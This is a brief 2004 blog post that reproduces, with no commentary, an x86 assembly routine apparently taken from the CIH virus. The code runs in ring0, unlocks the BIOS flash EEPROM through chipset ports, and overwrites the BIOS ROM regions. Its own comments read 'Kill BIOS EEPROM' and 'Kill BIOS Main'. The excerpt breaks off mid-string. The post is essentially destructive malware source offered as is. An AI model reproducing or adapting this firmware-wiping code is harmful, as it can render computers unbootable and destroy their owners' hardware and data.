Friday, July 30, 2004

Flash & HDD wipe [CIH]

Flash & HDD wipe [CIH]: "Must be called in ring0:
; Kill BIOS EEPROM
mov bp, 0cf8h
lea esi, IOForEEPROM

; Read BIOS 000E0000 - 000EFFFF (64KB)

mov edi, 8000384ch
mov dx, 0cfeh
cli
call esi

; Read BIOS 000F0000 - 000FFFFF (64KB)

mov di, 0058h
dec edx ; and al,0fh
mov word ptr BooleanCalculateCode,0f24h
call esi

; Read addition data BIOS 000E0000 - 000E01FF (512 Bytes)
; and Extra BIOS may be written...

lea ebx, EnableEEPROMToWrite

mov eax, 0e5555h
mov ecx, 0e2aaah
call ebx
mov byte ptr [eax], 60h

push ecx
loop $

; Kill BIOS Extra ROM Data 000E0000 - 000E007F (80h Bytes)

xor ah, ah
mov [eax], al

xchg ecx, eax
loop $

; Show and turn on BIOS Main ROM Data 000E0000 - 000FFFFF (128 KB) to write

mov eax, 0f5555h
pop ecx
mov ch, 0aah
call ebx
mov byte ptr [eax], 20h

loop $

; Kill BIOS Main"

No comments: